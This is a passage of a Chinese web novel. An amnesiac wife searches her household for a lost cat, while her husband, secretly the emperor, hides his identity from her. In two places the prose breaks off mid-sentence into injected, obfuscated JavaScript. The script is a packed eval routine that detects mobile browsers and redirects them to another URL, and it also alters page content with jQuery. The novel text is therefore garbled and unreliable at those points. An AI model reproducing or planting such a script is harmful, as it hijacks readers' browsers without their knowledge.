以后真是不能再喝了。 郎中被封嘴后,忙不迭逃离书房,途中还惊慌地被门槛绊了一下,差点儿失仪,好在宋衍并不在意,也没再看他,只一直低头沉思。 …… 沈遥的生活简单,每日陪伴在自己身边的除了夫君,锦书,便是小橘。 这日,宋衍不在府中,整个时府的下人都乱作一团,被动员起来。 为了找猫。 锦书端着手中的糕点进入屋子,看着跪坐在案前,一动不动,愁眉不展的沈遥,喊了一声:“夫人,你今日都未用膳,若是饿坏便不好了。” 沈遥吐出一口闷气,看着她道:“怎么样?找到了吗?” 锦书无奈地摇摇头,将糕点推到她面前,可她却只瞥一眼,依旧毫无胃口。 这只猫儿年龄还太小,如今又是雨季,万一在屋外乱跑,被淋病了可不好。 沈遥起身,“锦书,给我备伞,我亲自去找。” 今日雨不大不小,地上积水却也刚好能浸湿沈遥的裙摆。 她在院中四处走动着,唤着小橘的名字,却始终不见回应。 甫一走过一处转角,院中两个拿着扫帚和木棍的小厮站在一起,交谈声跃入耳中。 “怎么样?找到了吗?” “没有,这时府就这么大的地方,连鸟窝都翻了也不见踪影。” “那真是奇了怪了,莫不是被那手脚不干净的捉了去?” “诶,那可不得了,真是不要命了。这可是主子放在心尖儿上的,比人尊贵。” 沈遥心底一咯噔,上前站到他们身后,问:“什么手脚不干净的人?” 俩小厮被她惊了一下,转过身低头弓腰,一时间空气有些凝滞,都不敢说话。 沈遥在两人的身上来回扫视着,时府下人在自己面前一向规矩,可背地里阳奉阴违的却不少。 就像那日梨花院中嘴碎的丫鬟们。 她脸上冰冷的笑意不及眼底,动了怒,“让你们说话!一只活生生的猫,这么小,每日让人看着,难不成真长了翅膀,能飞出这么高的墙去不成?” 小厮们腿一软,没想到平日和和气气的夫人,生气后竟能让人胆寒。 其中一人终于结结巴巴道:“回、回夫人,近日,时府中的角落,时不时便会发现些鸟和松鼠的尸体,看起来极为恐怖,应该都是、都是……人为。” 另一人接着道:“只是不知究竟是何人所为,胆子竟如此大,所以我们见猫不在,都、都猜测,莫不是被这人暗地里给捉了去。” 沈遥心底的巨石悬了起来,厉声道:“锦书,将时府中所有下人都集中起来,搜查房间,把这手脚不干净的人给我找出来。” 锦书领命后便立刻吩咐下去,待所有人集合在外院时,各个虽排列整齐,站姿有礼,不满的情绪却都是溢于言表。 一年纪较大的婆子看着下人屋子里的东西被侍卫翻出,随意扔到地上时,更是不满地嘀咕起来:“不过是个没记忆的疯女人,要不是爷心善,哪儿轮得着她在这儿小题大作。” 另外的丫鬟也轻声附和,“就是,不过是只猫罢了,丢了就丢了,竟怀疑到我们身上来。” 沈遥冷眼扫去。 锦书立即上前,提高了声音:“别以为你们在底下嘀嘀咕咕,夫人就听不到了。” “为何就搜我们的,不搜那侍卫的?”丫鬟一激动,出声反问。 沈遥烦躁,懒得与他们过多纠缠,只想将猫找到,“自然会搜,时府任何一人,都会搜。” “可你们也别忘了,我还是这当家主母,府中坏规矩,作乱者,我一样有权处罚发卖。” 婆子和丫鬟虽是不满,却也是闭了嘴不再多言。 一整日的搜查过去,竟都未找到小橘以及那个手脚不干净的下人。 反倒是让众人对当家主母更加不满起来,原本只敢小声抱怨,到后来逐渐失了耐心,见沈遥没真对他们打罚,便开始无所谓地出声。 “这一整日都在找猫,今儿的活都没做,晚饭也没吃上,真是造孽。” “这主母的猫命更值钱,就闭嘴任由着折腾吧。我们命贱,又有何法子?” 随着时间流逝,沈遥心底愈发焦急。到底是晚了,她也只得放所有人回房歇息。 沈遥回到内院寝室,听着窗外蝉声,心脏悬在半空,七上八下,而她的那位夫君偏偏在这时又不在家。 也没说去了何处。 “真的都搜完了?没漏一人?” 锦书放下端进来的茶水,再出去确认一道后,回来禀:“夫人,都搜过了。除了今日外出,还未归来的楚绣和她娘。” “天色已晚,夫人用些晚膳,好好休息吧,或许等姑爷回来后,便更好找了。” 沈遥自是知晓下人们对她不满,所以都不怎么愿意配合。 她叹息,“时衍身为一家之主,身为男子,若回来后知道我把后院搞得鸡飞狗跳,指不定怎么生气呢。” 锦书宽慰她:“姑爷不会的。” 沈遥没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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宋衍接过小橘,很小心地没有碰触到楚绣的手。 小橘在他怀中动了动,闻着熟悉的气息,感受着自己背部被一只手温柔地抚摸,很快便闭眼酣睡 过去,丝毫不知自己今日惹了多大阵仗。 宋衍没有说话,手指捏了捏小橘的耳朵。 楚绣在一旁柔声细语解释:“奴婢今日回府,正巧碰到小橘竟爬上屋顶下不来,便寻了梯子将其带下。” “嗯,明日去领赏。” “多谢爷。”楚绣笑靥如花地屈膝,“奴婢一心为侍奉爷,知晓这猫对爷的重要性,不求赏。” 宋衍却没有更多话,想要转身离开,楚绣又继续出声,“只是回来时听闻夫人今日为了寻猫,起了好大阵仗,许多人的活都被堆积到了明日,也不知……” 沈遥收回视线,没有继续偷听夫君和丫头之间谈话,又悄悄独自返回自己房间。 锦书见着她回来,松了口气,正想说什么,被沈遥打断:“好了,今日你也累了,快些去休息,我这里不用你。” 说完她便跨过门槛,又忽然转身补充道:“时衍许是回书房睡了,明日你去帮我把小橘抱来。” 锦书看了一眼沈遥,还没问小橘怎么就突然找到,便见人匆匆关上房门,入内熄灯。 已是极晚,沈遥闭了会儿眼,神志却更是清醒。 明明已经确认小橘无碍了,竟还是睡不着。 只是这次没一会儿,便听到房门被轻轻推开,一个放慢的脚步踏入屋内,带着一抹新点的烛光。 不用想也知道是谁。 沈遥闭着眼睛装睡,冷清的气息萦绕在偌大而封闭的拔步床中。 一只软绵绵的猫爪正拄在她的脸颊,摁了摁,她依然毫无反应,那猫爪又摁了摁。 夫君在她脸侧呢喃耳语:“知道你没睡,你眼皮都动了。” 沈遥依旧睡死过去一般,厚着脸皮毫无反应。 “真睡了啊。” 夫君似乎离她又近了,她忽然感觉脚底一凉,被褥被掀开一点儿,他鼻腔呼出的热气喷薄在脚尖,只隔了一个指甲盖的距离。 沈遥心跳骤然剧烈起来。 夫君这是……要舔她脚! 他是变态吗? 倏然脚趾一痛,沈遥“啊!”地轻声惊吓睁眼。 她被咬了! 8. 第 8 章 沈遥也没坐起,垂眸往脚看去,脚尖一个小小的牙印,倒是没破皮。 刚刚色/鬼突袭的原来是猫儿。 宋衍早已直起身子,一边看着她笑,一边抓过小橘,而这傻猫任人摆弄,半眯着眼一动不动。 他刚才又在逗弄自己了…… 她咬牙,伸手将小橘接过,揣到自己怀中,确认猫儿没事儿后,开始与宋衍暗暗较劲,“你怎么来了?我以为你会睡在书房。” 和那丫头一起。 宋衍若有所思地观察着她,“诺诺怎么了?心情不好?” “找了一整日猫,心情能好到哪儿去?” 沈遥知道自己有些阴阳怪气,可一整日心惊胆战,确实叫她疲惫。 “真是这样?” “是啊。”她玩着小橘头上的一小撮白毛,轻描淡写地又补充一句:“不然还能怎么样?你想多了,莫要太敏感。” 宋衍愈发确定她在冲着自己发脾气,想了想,直接问:“你刚才出去寻我了?” 沈遥想要否认,可她实在不太会说谎,“没有”两个简单的字竟然都说不出口,最后只能不情不愿闭嘴,低着头玩着那撮毛。 宋衍自然看出来她别扭,仔细回想南风,以及找到猫的那丫鬟的话,对沈遥道:“我也是知晓诺诺对小橘的看重,这才直接给你送来。” “时府中所有下人,本就都是为了伺候夫人买的,夫人怎么使唤他们都是应该,明日我便让管事给他们训话,若是再有管不住嘴的,直接发卖了。” 沈遥说不清自己究竟在为何而气,可他都这样说了,那也只得顺着他的话来。 “行了,管得住别人的嘴,还能管得住心不成。”她还是坐起身,藕臂压在被褥上,“时府的下人,不是你的人吗?什么叫全是买来伺候我的?” 宋衍道:“平日也就南风跟着我。” “哦。”沈遥忽然好奇,“那你沐浴如厕呢?也是南风伺候着?” 宋衍抿唇,忍不住发笑,捂着眼无奈道:“我沐浴如厕都自己来,又不是几岁的小孩,还得人伺候。” 沈遥:“……你难不成在笑话我是几岁小孩。” 宋衍收起笑,变脸如雷鸣闪电般迅速,摇摇头,“嗯,我觉得沐浴和如厕,还是得有人伺候好,我明日便叫南风伺候。” “脱裤子,擦屁股,净手,嗯,还挺麻烦。必须伺候!” 远在宫中办事的南风忽然打了个喷嚏,浑身一抖,明明是夏夜,却不知为何凉飕飕的,让他不知不觉捂紧裤/裆。 沈遥差点儿被自己口水呛到,“得了吧,你莫不是逗弄我,骗着我玩儿呢。” 宋衍打趣:“怎么?若是我骗了诺诺,诺诺会如何?” 沈遥觉得他又在逗自己,一边玩着小橘的毛,一边无情说:“我最讨厌骗子了,若你骗我,我定然一辈子都不会再看你一眼。” 宋衍身子一僵,故作轻松地笑笑,“嗯,不骗你。” 沈遥在两人一来一回的玩笑中,心情逐渐又好了起来,却依旧毫不留情地将宋衍赶走,不让留宿。 翌日,沈遥起来后,天已大亮,锦书与她说,她才知晓夫君又待在家中,没有去城中上学。 她看看这偌大的宅子,精致的装潢与家具,满院的下人,妆奁中装满的名贵首饰。虽然对夫君总待在家中有些无奈,却也不好多管这男人的事儿,反正他好像确实蛮有钱的。 锦书为沈遥梳好发髻,又端来茶点。 沈遥只轻抿过一口茶,淡淡说:“昨日寻了一整日,也没找到那手脚不干净的,私下继续找着,我眼中可是容不下这样的人。” 想到那小厮说角落中时不时出现的动物尸体,她心底就不由一抽。 锦书应下,想到什么,又与沈遥道:“夫人,楚绣今日被管事调去外院了,说是以后,她就不来夫人内院了。” 调回外院? 沈遥疑惑地一瞥她。 锦书掰着手中的牛角梳,唠叨起来:“夫人啊,楚绣这次寻到猫,又总在姑爷面前晃过多次。这回在外院,夫人可得小心着她去书房做事。” “当今世道,有哪家爷如姑爷这般,有钱又疼夫人,还不纳妾的?姑爷能对夫人这般上心,夫人该好好珍惜才是。” “夫人没了记忆,又这般单纯天真,若是没姑爷庇护着,怕是被人骗的裤衩都不剩,还给人数钱理账呢。” “而那楚绣若是入了书房,那意味着什么,无需奴婢多说,夫人定也知晓。” 沈遥从她手中抽回牛角梳,没什么情绪地“嗯”了一声。 锦书想了想,又道:“夫人长点儿心吧,若一直拒绝姑爷,那丫鬟以后就要蹬鼻子上脸了。” “况且,奴婢怀疑,或许昨日,猫便是被楚绣那丫头故意带走的。” 沈遥一听后转头看向锦书,沉吟不语。 锦书有种不打不成气的感觉,“夫人你想,我们昨日弄了这么大阵仗,鸟窝都翻了,都没找到猫。为何偏偏楚绣回府,立马便看到了屋顶上的猫,还不给夫人送来,而是那么大半夜不睡觉,等着姑爷回来后送猫。” “这简直就是,司马昭之心,路人皆知。” 沈遥转回头蹙眉,沉默一会儿后,道:“锦书,下去细细盯着楚绣。” “诶,是。” 沈遥承认,见着楚绣对夫君的觊觎,她心底是有些不适的。可这样轻微的不适,不至于让她无法忍受。 可锦书句句所言,也是有理,她不得不听进去。 最重要的,若是威胁到小橘安危,她是万万不能忍。 她想好了,真叫她知晓,府中那个虐杀动物的人是楚绣,就算宋衍要将人收了,她也不会忍。 …… 外院书房内。 宋衍将手中批阅好的奏章给南风递去,连续熬夜,不眠不休,让他还是有些头疼。 他仰着头,自己按压着太阳穴。 “还有多少?” 南风将奏章收到一个箱子中,准备带走时,又犹豫道:“陛下这多日未上朝,朝堂政务堆积如山,还有一半在宫中,属下还没来得及带出。” 宋衍双眼有些红,闭起眼没说话。 南风将手中的箱子放下,试图劝谏道:“陛下多日称病罢朝,已引起不少朝臣怀疑。如今长安城又流传了些风言风语,说是这葫芦镇出了血鬼,乃是君主不仁所致。” “而如今长……夫人逐渐稳定,陛下或许也该放心地回去了。” 宋衍没有正面回应,只冷笑一声:“开始动手了啊,终于没耐心了么?这样也好,躲在暗处抓不到,有了动作,还愁找不到么?” 他又问起别的,“时府下人,都被管事训过了?” “是,管事执杖刑,发卖了五个昨日在夫人面前说话难听的。此番杀鸡儆猴,剩下的人定然不敢再对夫人有一分不敬。” 时府下人都是临时从远处买来的,虽然教了规矩,可毕竟都是乡野村妇,总是对规矩抱着侥幸,做不该做的事儿,说不该说的话,阳奉阴违这一套倒是修炼得成了精。 南风又补了一句:“锦书那边也在对夫人做着思想,这些时日,夫人戒心确实放下不少。” 宋衍只是“嗯”了一声,没说更多的,便让南风退下。 他靠坐着引枕闭目养神了会儿,屋外又开始淅淅沥沥下起雨。今日下的有些大,让他心底烦躁。 他格外厌恶下雨,每次阴天,关节都因着儿时旧伤止不住发疼。 他记得那时和阿姐已经离开沈府,两人一路向西而行。 恰逢雨季,阿姐发觉他不适,总会黑着一张脸,嘴上说他矫情,却想方设法烧热水,弄了帕子给他热敷缓解疼痛,水冷了又重新烧,反反复复。 后来生活好了,御医大费周章诊治,如今已不如曾经那般痛,也无需叫阿姐再这般辛苦。 宋衍睁眼,一手摁着后脖颈,头转动着放松了几下,最后将视线落到书案下的暗格内。 他将暗格打开,拿出一个方形锦盒,伸手轻轻抚摸着,深深呼吸一口气后,心底的燥意被驱散不少。 忽然,书房门被人敲响,而后没等他应下,直接被推开。 宋衍眉眼带着阴翳,抬头看去,见竟是沈遥。 她被他眼神怔得心底一颤,呆在原地。 宋衍意识到后,神情眨眼间又温柔起来,手中的锦盒还来不及藏,最后只能光明正大地拿在手中。 她从不来书房的。 “诺诺怎么来了?找我有事?” “嗯。”沈遥也意识到自己唐突,可刚才夫君转瞬即逝的眼神还是叫她心里闷闷的。 “抱歉啊,我忘记等你允许,就直接进来了。” 宋衍摇头笑笑,“我说过,时府任何一处你都随便进,自然包括书房。这是我们的家,何须准许?” 见他这样说,沈遥更不好意思了。 可来都来了,她确实是有事儿来的,只是看到夫君手中的锦盒,忽然想到,刚才自己进来后,他第一反应竟是想要藏起来。 上前落座后,她看着他手中的锦盒,有些好奇,直接开口问:“这是何物?我刚才进来时见你想要藏。” 宋衍低着头抚摸着手中的锦盒,头也不抬,语气中还带着笑意,“诺诺,我什么都不会隐瞒你,整个时府,包括我,都是你的。” 牛头不对马嘴。 “咳。”沈遥轻咳一声,眼神不自然地转开,看向书房中不远处的书架。 宋衍抬头看着她,“只是诺诺可准许为夫……有一点点自己的秘密?” “那你能说,这锦盒是关于什么的么?” 宋衍抚摸着锦盒,手好似在抚摸少女的肌肤,充斥着温柔,又带着一丝欲,“是关于……为夫重要的人。” 重要的人…… 沈遥扭开视线,落在不远处书架的一小樽貔貅上。 她想问是什么人,却又开不了口。 宋衍语气忽然有些卑微起来,犹豫一番后,将锦盒朝着沈 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15181395|165293||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 遥递过去,“诺诺若真想看,我会给你,我说过,这个世上,无论诺诺想要什么,我都会给,哪怕是自我。” 沈遥本只是单纯好奇他为何想要藏锦盒罢了,却没想到他将这股好奇上升到这样的高度。 虽然没说,但总感觉在暗戳戳指责她,身为妻子,却对夫君的掌控欲如此之强,不允许丝毫秘密。 可她不确定,也没有证据,还搞得自己心情不畅。 罢了。 都这样说了,她还如何好翻看那锦盒。 于是她又轻咳一声,“好了,我又非那悍妇,我不看了。” “真不看啊?” “不看,真不看。” 宋衍轻笑一声,心道自己了解的她,果然始终未曾改变过。 无论何时何地,无论她多大,心性永远单纯,也永远都是那个善解人意的阿姐。 他淡定地将锦盒当着她的面,放入书案下的暗格之中,关好,丝毫不担心她会趁他不在时前来开启暗格。 收好东西,宋衍随口道:“诺诺这么着急来书房,是有何事?” “嗯,对。”沈遥这才想起她过来的原因,两步上前,坐到他对面,“昨日在寻小橘时,我才从小厮口中知晓,咱们这府中,竟有手脚不干净,虐杀动物之人。” “可昨日找了一天,也没找出这人,我心底实在难安。” 宋衍了然,也知晓她身边除了锦书一人,其实并没有其他可用的,这才找上他。 “嗯,竟有这样的人。这样,我多派几个靠谱的,暗中盯着时府下人,总有一日能抓出来。”感觉这样说不一定能安慰到她,宋衍又补一句,“这人虽可恶,可主子的猫到底是不敢碰,诺诺莫要太过忧心。” 沈遥安心地呼出口气。 她说不清自己对眼前的夫君到底有多信任,可他言谈举止,样样温文有礼。 虽然奇怪的直觉总在作祟,可作为失去了对世界一定认知的她,似乎就和小橘依赖自己一般,其实她也是依赖他的吧。 宋衍起身往大开的支摘窗走去,外面的雨水飞进室内,噼里啪啦地打在墙角地上,堆积成一滩,“对了,我明日便开始入城上学了,这些时日缺了太多课业,接下来怕是有得忙。” 关上支摘窗后,他转身,“可能无法如前些时日,一直陪着诺诺,诺诺独自一人,可还好?” 沈遥起身跟上,“无需担忧我,读书重要。正好,看你总待在家,因我落下功课,我其实……只是也不好多管你的事儿。” “傻,你可以管我的。”宋衍看着矮自己一个头的她,抬手轻轻捏了捏她头上的发包,手感不错,很可爱,她也不再躲避,“我不在时,你想上小镇逛逛便去,只是莫要出镇,外面实在危险。” 沈遥应下一声好,虽是坐不住的性子,可好奇心也没那么重,小镇里花样很多,她还没来得及一一尝试。 宋衍本以为只要沈遥待在小镇中,便能藏住秘密,却没想到后来这么快就出了差池。 …… 多日政务堆积,宋衍翌日忙碌到只吃了一口莲子羹,腹中饥饿难耐。 回到时府后,顾不上叫人备饭,直接一人回到主院,入了寝室,却没见到沈遥。 锦书站在门外眼尖,立刻入内屈膝行礼,唤了声“姑爷”。 宋衍问:“夫人何在?” 锦书低着头道:“猫儿今日贪玩,上了梨花树下不来,夫人带着几个小厮捉猫去了。” 宋衍想到沈遥每日捉猫的场景,便忍俊不禁轻笑,心底因政务积压的郁结骤然间疏散而去。 似乎皇宫不是他的家,此处诺诺在的三进小宅院,才是他家。 此刻他万分庆幸自己的所作所为,只有这样,他才终能留住家与她。 “去看看夫人捉到猫了没,与她说一声,我已回。” “是,姑爷。” 锦书离开后,宋衍在沈遥的寝室中转悠一圈,所有的家居摆设,都是他亲手按照她的喜好来。 肚子忽然空叫了几声,他饿得有些胃疼,这才注意到桌上放着一盘糕点,以及一碗肉末。 那肉末卖相着实不好看,看起来似乎是出自她的手。 难道诺诺知晓自己还未用晚膳,特意亲自备好,等着自己回来? 他上前看了看,最后抬起那碗肉末,拿着勺子一一吃下。 嗯,不是很好吃,除了肉腥味,没别的味道。 但想到是沈遥亲手所做,他手竟不受控制地颤抖起来,连带着牙龈发酸,唇角打颤,“桀桀桀……”地低笑起来。 他将空碗放下后,转身发现沈遥已经回到寝室,怀中抱着小橘,站在门口看看他,又看看那空碗。 宋衍收住原本的表情,还未来得及说话,沈遥云淡风轻地问他:“时衍,你怎么把猫食给吃完了?” 宋衍:“……” 沈遥:“还有,你刚才笑什么?好像癫子。” 宋衍:“……” 小橘:“……喵!” 9. 第 9 章 “咳。”宋衍轻咳,抬手摸了摸鼻尖,“这不是……帮小橘试试看好不好吃么。” 沈遥靠近,老神在在地看着他有些尴尬的模样,问:“所以试过之后怎么样?猫食与往日的吃食,有何区别?” 宋衍舌尖抵着后槽牙,“确实挺不一样,有些腥。” “哦,这样。”她漫不经心睨他一眼,“这么说,你的意思是我手艺欠佳。或者更简单点,就是,做的难吃咯。” 你来真的? 宋衍右眼皮快速地跳了几下,硬着头皮道:“这腥味恰到好处,不多不少,极妙。小橘定然喜欢。” “……我也喜欢。不然我怎会吃笑了?” 沈遥没忍住噗嗤一声笑出来,“既然如此,那往后每日给小橘和你各备一份,可好?” 宋衍看着她笑靥如花的模样,眼里似乎落了星星,他上前抬手恶狠狠地揉了揉她的发顶。 沈遥“诶”一声,笑着躲开,用手拍了一下他的手。 “你说你傻不傻。” 宋衍被拍开后,又揉了揉小橘毛茸茸的头顶。 “就知道逗弄我。” 沈遥见小橘想跑,便将其放至桌上,目送它挪步到空碗前嗅闻,又一副幽怨表情看向他们。 “猫食被这饿鬼吃了,没咯。”她捏起空碗,作势往门外走去,回首望向仍杵在原地的宋衍,“走啊,饿鬼,去厨房,没看到小橘肚子饿了。” 宋衍揉了揉自己的肚子,跟上沈遥后,又转回到小橘跟前用手指点了点它脑袋,见她跨步出房门,很快两三步跟上,一同去了厨房。 猫食做法简单,沈遥教给宋衍后,便独自去一旁不知忙着什么。 宋衍认命地按照她的要求,重新做了一碗猫食,只是卖相看起来比之前那碗还差。 做好后,他端着猫食回房,放到猫儿面前。 小橘闻了许久,似乎在疑惑此物可食否。 宋衍弹了下小橘额头,哑着嗓子说:“吃吧你,就这还嫌弃。” 当今天子亲手下厨做的猫食,世上哪只猫有你这等福气?。 小橘犹豫许久后,似乎也听懂了他的话,开始慢吞吞小口咀嚼起这新的肉末。 宋衍端坐着看小橘越吃越香,他再次揉了揉肚子,竟给自己看饿了。 忽然身后脚步声传来,他转头看去,是沈遥端着一碗清汤面回到房中,将其推至他面前,清淡的汤水,上面飘着一根小青菜。 沈遥看了眼吃得正香的小橘,又看回到宋衍身上,“你是真饿了吧,给你弄了碗清汤面,快吃。” 一股热汤香味飘入宋衍鼻腔,他垂眸看去,心底的弦似乎被轻轻拨弄着。 “诺诺亲手做给我的?” 沈遥嗯了声,“其实我好像也不太会做饭,是吧?但想着清汤面这么简单,这还是可以的。” 宋衍颔首道:“诺诺做的什么都好吃。” 说罢,他迫不及待起箸,夹了几根面入口,咀嚼,顿住。 好吧,清汤面果然是清到只剩下清水和面,没有其他任何味道。面似乎也没煮熟,但好在吃了也不至于被毒死。 他飞快瞥了一眼满脸期待的沈遥,最终默不作声地将唯一的一根青菜夹入口中。 嗯,这跟小青菜也是生的。 还行,至少知道放根青菜。 “怎么样?好吃吗?”沈遥双手搭在桌上,细细看着他吃面的模样。 宋衍低着头专心致志吃面,直接一鼓作气将整碗面吃下,连一口汤也不剩后,这才抬眸违心道:“好吃,诺诺在这方面,颇有天赋。” 和自己差不多的天赋。 沈遥暗暗松了口气,“以后有机会,我再做给你吃。” 宋衍:“……好。” 他看她愉悦的神情,心也跟着愈发柔软。 只要他的诺诺开心,让他吃毒药,他也愿意。 阿姐亲手做的毒药…… 想到此,他心脏像冰融化后,忽然又煮开了的水,咕噜咕噜冒着滚烫的气泡,游走浑身的血液之中。指尖在颤抖,可面上仍是没有改变过的温柔。 沈遥被他双眼中的宠溺怔住,想要收拾碗筷的手停了下来,他漆黑的眸中有漩涡,吸引着她,一时间无法挪开视线。 有些难以言明这股感觉。 空气微妙的凝滞,宋衍大胆往她倾身,气息缠绵鼻尖。 忽然,耳边传来“呕呕呕”的声音,两人身子一颤,低头看去,是目眦欲裂的小橘。 沈遥:“诶呀,猫吃吐了!” …… 夫君总是很忙,身影一大早便消失在时府。 昨夜小橘吓了她一跳,后来问了人,知晓这呕吐对于猫来说正常不过,才放下悬着的心。 她按部就班起床洗漱,而后便待在屋中翻看各类杂书。 屋外的雨下了一个清晨便停了,雨后空气总是令人最为舒爽,刚好淹没过夏日的热量与干燥,清风裹挟而来。 沈遥起了出街的兴致,可喊了几声锦书,却没见到人。于是自己换上那身藕粉色的圆领缺胯袍,着软底线鞋,戴簪花幞头,活脱脱一个英气十足的小娘子。 最后在耳房中找到锦书,却见她似乎身体不适,躺在床上捂着小腹入睡,迟迟没有反应。沈遥没再打扰,叫了两个小丫鬟照顾好人,自己则独自一人出了时府,上街晃悠。 沈遥是一个享受独处之人,即便自己出街,也分外自在。再加之葫芦镇民风淳朴,遇到的人对她都颇为热情。 一下午,她也是玩儿了不少地方,后来又凭记忆到马场,也就是曾经沈家老宅所在之地。她试图通过游走在镇中,回忆过往生活,却依旧陌生,毫无印象。 好在在马场中肆意打马奔跑过几圈后,心底那丝失望也随之散去。 回府路上,她忽然被几声猫叫吸引,转身朝那方向望去,是街边炊饼铺子旁,一只橘色大胖猫,脑袋中心一撮白毛,简直就是小橘长大后得翻版。 一个与她年纪差不多的姑娘身着素色布衣,蹲在那只猫前,喂着一些煮过的小面团。 沈遥上前好奇询问:“这是你家猫?” 那姑娘被沈遥突如其来的声音吓得一抖,转过头仰视着她,微微愣神后,才将那只胖猫抱到怀中起身。 她看沈遥的目光带着好奇,直勾勾盯着,没有说话,似乎在细细观察。 沈遥被她赤/裸/裸的目光盯得有些脊背发痒,撇头躲开她视线。 炊饼铺子的另一女子见状后上前,轻轻拍了一下她胳膊,蹙眉道:“你发什么愣?客人问你话呢。” “哦。”那姑娘回过神,似乎意识到自己的无礼,低下头摸了摸怀中的猫儿,“算是吧。” 沈遥没有理解她的回答,她身旁的另一女子将手上的 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沈遥没有注意到那眼神,不过刚刚跑完马,又晃荡了一个下午,确实饿了,问了价钱。 叶韵答:“三文,我家做的都是肉馅儿的。” 她买下那炊饼后,便趁热咬了一口,然而这饼却硬如磐石,竟一口都没被咬下来,还差点儿崩了牙。 沈遥抬头看着两姐妹尴尬的神情,似乎也没想到,这叶家姐妹做的炊饼这么难吃,难怪没什么客人。 叶韵笑笑,道:“这饼挺固执……” 她话还没说完,叶灵上前将那几枚铜板拿过,揣到自己怀中,“卖出去了,不退钱的。” 沈遥看看手中的石头饼,觉得自己好像被骗了。 叶韵愈发尴尬起来,又拍了一下叶灵胳膊,朝着沈遥道:“沈姑娘见笑了,我们也是刚搬来小镇做炊饼不久,还没寻到其中真谛。” 叶灵在一旁和稀泥,“还真谛,阿姐,没天赋就是没天赋,要不我们换个铺子开算了。” 沈遥看了看手中的炊饼,见这两姐妹即将吵起来的架势,试图朝着她们提意见:“或许是面的原因。” “面?” “嗯,你们试试看用老面,面揉好后,先醒半个时辰,用刀划开,若是能见蜂窝状的孔,那便是醒好的面。” 两姐妹面面相觑,沈遥不知道自己出于什么心,或许是因着小橘之父,竟陪着她们在炊饼铺子待了许久,直到重新做好出锅的炊饼,外焦里嫩,极为可口。 叶灵笑着吃下一个炊饼,眼神又落回到沈遥身上,好奇的意味更重了,问她:“没想到你手艺这么好,平日很会做炊饼?” 沈遥听闻此话后滞住,看着手中剩下的半个炊饼。想起昨日在厨房中的尝试,明明她的厨艺应是一塌糊涂才是。 是啊,她为何如此熟悉炊饼的做法? 沈遥摇摇头,“我基本不下厨的。” “不下厨?家中有下人,大户人家啊。”叶韵扯了扯自己衣摆,忽然意识到什么,“难道……你住时府?” 沈遥正承认,一旁的叶灵突然跳了起来,惊讶道:“你就是时府中的那位神秘夫人!” 沈遥没太懂“神秘夫人”的含义,问:“什么意思?” 叶灵大大咧咧惯了,歪头道:“啊,就这个小镇……” 10. 第 10 章 “小妹!” “夫人!” 叶灵话还未说完,便被两个不同方向的声音同时出现打断,也打断了沈遥的思绪。 除了叶韵,另一个是来自沈遥后方的锦书。 她转过头,看着锦书一脸气喘吁吁,手撑着膝盖,许久都说不出话,满是惊慌失措。 沈遥不解:“锦书,你怎么来了?” 锦书重重呼出一口气,终于缓了过来,“还说奴婢呢!夫人,你怎么自己一人出门了?” “你担心我啊。” 沈遥没想到锦书竟如此紧张自己,不过是出时府,在小镇中晃悠而已,“不是看你今日身子不适么,就想着让你多歇息,没与你说。” 锦书一手飞快地拍着自己胸脯,“真是吓死奴婢了,夫人啊,奴婢发现夫人不在后,就带着家丁出来寻找,差点儿就把整个镇子给翻遍了。” “不用这么夸张吧。”沈遥蹙眉。 锦书似乎也忽然意识到自己过于紧绷的态度与情绪,微微整理了会儿凌乱的心绪。 “夫人身子还没好全,奴婢也是担忧。” “我无碍的,这不每日吃好睡好,药也按时服用么?” 忽而想起刚才叶灵被打断的话,她扭头看去,“你刚才说的神秘夫人,这个小镇怎么了?” 叶灵这时没有再说话了,低着头,时不时窥她一眼。 叶韵身子挡她面前,笑道:“她总是这样一惊一乍的,夫人见谅啊。不过是因着时家是这葫芦镇首富,所以我们这些升斗小民才对首富夫人如此好奇。” “这样啊。” 锦书扶上沈遥手臂,“夫人出来这许久,天色不早,姑爷怕是快回来了,夫人回府吧。” 沈遥看锦书一脸着急投胎的模样,也不好再拖,“好了,我本就想着回府,今日也疲了。” 见她动身,锦书这才松了心底的弦,在离开前转头看了一眼炊饼铺子前,面带微笑的叶韵。 待人离去后,被挡在身后的叶灵才挪步而出,目光仍盯着越来越远,身着圆领缺胯袍的窈窕背影。 叶韵看着她气不打一处来,“行了,没听说过么?好奇害死猫,不该想的事儿,别去想。” 叶灵翻着白眼,一脸懒散,“知道了,知道了。” …… 沈遥一个人用了晚膳,脑海中却还回想着叶灵没说完的话,虽叶家姐姐的解释说得过去,可是直觉却告诉自己,叶灵的话,没有说完。 锦书默默观察她,对今日发生的事儿仍是心有余悸。 见沈遥用完膳,她上前试图打断沉思,语速快了,“夫人,郎中说饭后可四处慢慢走动,对身体有益。夫人今儿可还有劲儿,是否四处逛逛?” “嗯。”沈遥回过神,没有再去多想叶灵没有说完的话,下箸漱口后,由锦书搀扶着往院中四处走动。 连日大雨后,梨花树上的花瓣被打落许多,有些地方甚至秃了几枝。 两人一路逛到外院,这一路遇到的下人似乎换了一副嘴脸,各个见到沈遥时颤颤巍巍,连头都不敢抬。 可按理说,上次她动了全府的人寻猫后,下人们应是对自己生出不满才是。 锦书看出沈遥的茫然,“上次找猫,姑爷回来后第二日便让管事训话,大家都知晓了姑爷对夫人地位的重视。如今整个府中,无人敢再对夫人不敬。” 沈遥听闻后没有发表任何想法,只面无表情地往书房瞥了一眼。 却没想到,书房中走出一个她意料之外,情理之中的人,楚绣。 楚绣将书房门关好,踱步下了台阶后才看到沈遥的身影,而后满脸堆着笑意朝着她来,恭敬屈膝行礼,找不出什么错处。 锦书眉头皱成了一个川字,“你怎么会在姑爷书房?” 